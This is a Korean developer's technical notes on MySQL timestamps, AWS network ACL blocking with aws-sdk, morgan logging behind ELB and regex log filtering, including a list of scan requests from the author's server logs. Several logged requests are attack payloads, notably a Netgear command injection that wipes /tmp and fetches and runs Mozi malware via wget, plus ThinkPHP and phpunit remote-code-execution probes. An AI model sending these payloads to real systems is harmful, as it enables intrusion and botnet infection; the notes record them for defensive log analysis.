insert, update시 자동갱신 TIMESTAMP

1
2
3
4
5
6
7
8
9
CREATE TABLE LOG
(
`idx` INT NOT NULL AUTO_INCREMENT,
`ip` VARCHAR(45) NOT NULL,
`method` VARCHAR(45) NOT NULL,
`url` VARCHAR(45) NOT NULL,
`date` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (idx)
);
  • CURRENT_TIMESTAMP은 현재 시각을 의미한다
  • DEFAULT CURRENT_TIMESTAMP ; insert 시 자동으로 현재 시각이 들어간다
  • ON UPDATE CURRENT_TIMESTAMP ; update 시 자동으로 현재 시각으로 갱신된다

이미 만든 칼럼에 적용하기

1
2
3
ALTER TABLE LOG
MODIFY
`date` datetime DEFAULT CURRENT_TIMESTAMP

참고

AWS 네트워크 ACL

  • VPC를 위한 선택적 보안 계층
  • 시큐리티 그룹과 다르게 차단, deny 룰을 사용할 수 있다
  • ruleNumber가 낮은 숫자일수록 우선적용된다
  • 20개까지 규칙을 지정할 수 있다고 한다
  • 실제로 가용가능한 개수는 18개다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
CidrBlock: '0.0.0.0/0',
Egress: false,
Protocol: '-1',
RuleAction: 'allow',
RuleNumber: 100
},
{
CidrBlock: '0.0.0.0/0',
Egress: false,
Protocol: '-1',
RuleAction: 'deny',
RuleNumber: 32767
}
  • 인바운드의 경우 이 2개가 기본적으로 세팅되어있다

aws-sdk 로 ACL 룰 추가, 교체하기

acl.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var in_params: EC2.CreateNetworkAclEntryRequest = {
CidrBlock: ipv4 + '/24',
Egress: false, //If true, OUTbound rule. fasle is INbound
NetworkAclId: aclId,
Protocol: `6`, // -1 : all protocl // 6 : 사용자 지정 tcp
PortRange: { From: 80, To: 443 }, // http - https
RuleAction: 'deny',
RuleNumber: acl_cnt, // 우선순위 ruleNumber
};

// 기존 존재하는 acl 규칙 개수에 따라서 mode를 달리한다
// mode값에 따라 메서드를 달리함
// 20개가 안되는 경우 createNetworkAclEntry 를 사용함
// 20개 모두 찬경우 replaceNetworkAclEntry를 통해 교체하는 방법
const method =
mode === 'create' ? 'createNetworkAclEntry' : 'replaceNetworkAclEntry';

return new Promise((resolve, reject) => {
ec2[method](in_params, function (err, data) {
if (err) {
console.log(err.message, acl_cnt);

return reject(err.message);
} else {
console.log('Create AclEntry Successful : \n', in_params); // successful response
resolve(in_params);
}
});
});
  • 이상한 요청을 차단하기 위해 알아보았다

참고

typescript json import

tsconfig.json
1
2
3
4
5
6
{
"compilerOptions": {
// (...)
"resolveJsonModule": true
}
}
  • tsconfig.jsoncompilerOptions 부분에 resolveJsonModule를 추가한다
ex.ts
1
import myJsonData from './myJson.json';
  • 이런식으로 가져다 쓸 수 있다

참고

connection vs connection pool

  • connection pool를 써보자

Connection pool

  • 기존 connection은 데이터베이스에 동시 접속 허용량을 초과하는 연결을 할 경우 에러 발생
  • connection pool을 사용하면 대기상태가 되었다가 수행됨
  • pool 에 여러 미리 생성되어 있는 connection을 가져가 쓴다
  • connection이 미리 생성되어있기 때문에 생성시간 소모되지 않음
  • 따라서 속도 빨라짐. 쉽게 다운되지 않음

참고

무작위 스캔 공격?

  • 24시간 express로 웹앱을 켜놓은 적이 있다
  • log를 보니까 이상한 경로의 요청이 많이 있었다

스캔 로그 특징

  • 무료 도메인과 ELB를 연결해둬서
  • 도메인을 통한 접속과, ec2 ip를 통합 접속을 구분할 수 있었다
  • 확인 결과 두 곳 모두 이상한 요청이 왔다
  • 도메인, ELB를 통한 스캔이 많았다
  • get, post 요청으로 온다
  • 여러 아이피로 스캔을 한다

스캔 경로

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
"GET /.env HTTP/1.1"
"GET /0bef HTTP/1.1"
"GET /TP/html/public/index.php HTTP/1.1"
"GET /TP/index.php HTTP/1.1"
"GET /TP/public/index.php HTTP/1.1"
"GET /ab2g HTTP/1.1"
"GET /ab2h HTTP/1.1"
"GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.1"
"GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0"
"GET /conf.js HTTP/1.1"
"GET /config/getuser?index=0 HTTP/1.1"
"GET /console/ HTTP/1.1"
"GET /currentsetting.htm HTTP/1.1"
"GET /elrekt.php HTTP/1.1"
"GET /html/public/index.php HTTP/1.1"
"GET /index.php HTTP/1.1"
"GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1"
"GET /latest/meta-data/ HTTP/1.1"
"GET /manager/html HTTP/1.1"
"GET /manager/text/list HTTP/1.1"
"GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1"
"GET /phpMyAdmin/scripts/setup.php HTTP/1.1"
"GET /portal/redlion HTTP/1.1"
"GET /public/index.php HTTP/1.1"
"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1"
"GET /solr/ HTTP/1.1"
"GET /solr/admin/info/system?wt=json HTTP/1.1"
"GET /thinkphp/html/public/index.php HTTP/1.1"
"GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"
"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1"
"GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1"
"GET /wp-login.php HTTP/1.1"
"POST / HTTP/1.1"
"POST /GponForm/diag_Form?images/ HTTP/1.1"
"POST /HNAP1/ HTTP/1.1"
"POST /api/jsonws/invoke HTTP/1.1"
"POST /mifs/.;/services/LogService HTTP/1.1"
"POST /tools.cgi HTTP/1.1"
"POST /users?page=&size=5 HTTP/1.1"
"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"

내 행동

  • 디렉터리 구조가 노출될까 봐
  • error.ejs 정적으로 바꾸어 에러 스택을 보이지 않게 했다
  • 웹앱 포트 변경. 잘 알려진 8080 포트로 웹을 열었더니 스캔 공격을 받는 것 같다
  • 잘 알려지지 않은 포트를 사용해서 웹을 열기로 했다. -> EC2 ip를 통한 스캔 방지
  • 에러 로그에만 집중하기
  • morgan 로깅 내용을 커스텀하고, 400번대 이상의 코드만 로깅하도록 하였다
  • 동적으로 ACL에 추가해 L4 수준에서 차단
  • ACL규칙을 최대 18개 정도 사용할 수 있기 때문에 돌려막기식이 되어버렸다
  • 그래도 꺼림칙한 로그들을 줄일 수 있었다

ts-node

terminal
1
ts-node src/index.ts
  • tsc를 통해 .js파일로 만들고, js파일을 실행하는 것이 아니라
  • 바로 .ts 파일을 실행하는 것처럼 보여준다
  • 따로 .js파일은 생성되지 않는다

ts-node 설치

terminal
1
npm install -g ts-node

참고

AWS ELB를 사용할 때 express morgan 로깅 주의점

  • morgan 로깅할 때, 사용자의 ip를 기록하는
  • :remote-addr 토큰은 req.ip 를 사용한다
  • ELB, 로드밸런서를 사용하면 사용자의 ip가 아니라, ELB의 ip가 기록된다
  • 그래서 사용자의 ip를 가져오려면 x-forwarded-for 헤더의 내용을 봐야한다
1
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress;

morgan custom

app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(...)

app.use(
morgan(
function (tokens, req, res) {
return [
req.headers['x-forwarded-for'] || req.connection.remoteAddress,
req.ip, // == :remote-addr
tokens.method(req, res),
tokens.url(req, res),
tokens.status(req, res),
].join(' ');
},
{
skip: function (req, res) {
return res.statusCode < 400;
},
}
)
);

(...)
  • 이런식으로 커스텀할 수 있다
  • req.headers['x-forwarded-for']의 내용은
1
X-Forwarded-For: <client>, <proxy1>, <proxy2>
  • 이런식으로 가장 앞의 ip가 사용자 ip이다
  • 뒤로 ,로 나열되는 ip는 프록시임으로 당황하지 말자
1
2
3
4
5
{
skip: function (req, res) {
return res.statusCode < 400;
},
}
  • morgan(f(), {})
  • morgan 두번째 인자로 옵션을 넣을 수 있다
  • skip을 주면 특정 경우에서 로깅을 하지 않는 옵션이다
  • return res.statusCode < 400;이런식으로 하면 400이하의 스테이터스 코드일 때,
  • 로깅을 하지 않는다는 의미이다
  • 이 경우 404, 500 같은 에러들만 로깅된다

참고

정규식 : 특정 문자열을 포함하는 줄, 라인 판단

상황

log
1
2
3
4
5
6
7
"GET / HTTP/1.1" 200 hello world 1
"GET / HTTP/1.1" 200 hello world 2
"GET /a HTTP/1.1" 404 hello world 1
"POST / HTTP/1.1" 404 hello world 1
"GET / HTTP/1.1" 200 hello world 2
"GET / HTTP/1.1" 200 hello world 1
"POST /asd HTTP/1.1" 404 hello world 2
  • 이런 웹 로그가 있다고 하자
  • 중간에 보이는 200, 404 는 status code 이다
  • 404 에러인 라인만 뽑아서 보고싶을 때..

로그파일을 한줄씩 읽으며 정규식으로 확인하기

app.ts 전체코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import * as fs from 'fs';
import * as path from 'path';
import * as readline from 'readline';

const input_log_file_name = 'nohup20201107.out';

const input_file_path = path.join(
__dirname,
`../input files/${input_log_file_name}`
);
const output_file_path = path.join(
__dirname,
`../output files/${input_log_file_name}`
);
console.log(input_file_path);

async function processLineByLine() {
const fileStream = fs.createReadStream(input_file_path);

const rl = readline.createInterface({
input: fileStream,
crlfDelay: Infinity,
});

// 정규식
const reg404 = /^.*(404).*/;
let result_string = '';

for await (const line of rl) {
// console.log(`Line from file: ${line}`);

if (reg404.test(line)) {
// console.log(`hello : ${line}`);
result_string += line + '\r\n';
}
}

fs.writeFile(output_file_path, result_string, 'utf8', function (err) {
if (err) throw err;
console.log('file write complete');
});
}

processLineByLine();
readline으로 한줄한줄 읽기
1
2
3
4
5
6
const fileStream = fs.createReadStream(input_file_path);

const rl = readline.createInterface({
input: fileStream,
crlfDelay: Infinity,
});
  • 우선, 파일을 한줄씩 읽기위해 readline을 사용했다
정규식으로 404 문자열 포함 여부 확인
1
2
3
4
5
6
7
8
9
10
11
12
// 정규식
const reg404 = /^.*(404).*/;
let result_string = '';

for await (const line of rl) {
// console.log(`Line from file: ${line}`);

if (reg404.test(line)) {
// console.log(`hello : ${line}`);
result_string += line + '\r\n';
}
}
  • ^.*(404).* 로 정규식을 새웠다
  • ^.* ; 아무 문자로 시작하는 0개 이상의 문자열로 시작하고
  • (404) ; 404 문자열을 중간에 포함하며
  • .* ; 아무 문자열로 끝나는가
  • reg404.test(line)로 한줄한줄 확인하고
  • 참인 경우에 result_string 에 더하기
result_string 결과 새파일로 쓰기
1
2
3
4
fs.writeFile(output_file_path, result_string, 'utf8', function (err) {
if (err) throw err;
console.log('file write complete');
});
  • result_string에는 404 문자열을 포함한느 라인만 추출되었고
  • output_file_path에 해당 내용을 쓴다

CRLF, LF

LF
\n

CRLF = CR + LF
\r\n

  • 여러줄의 텍스트를 가진 file을 읽고 처리할 때 줄바꿈 형식을 알고 있어야한다
  • 윈도우의 경우 CRLF이다

vscode에서 쉽게 변환하기

  • vscode에서는 우측하단에 보면, 인코딩 형식과 줄바꿈 형식을 알려준다
  • 우측하단을 클릭해서 변환할 수 있다
  • 또는 ctrl + shift + p 에서 end of line을 검색해서 변환할 수 있다

TMI

eslint, prettier를 사용할 때 오류 해결하기

.prettierrc
1
2
3
4
{
// ...
"endOfLine": "auto"
}
  • config 파일을 확인하고 수정한다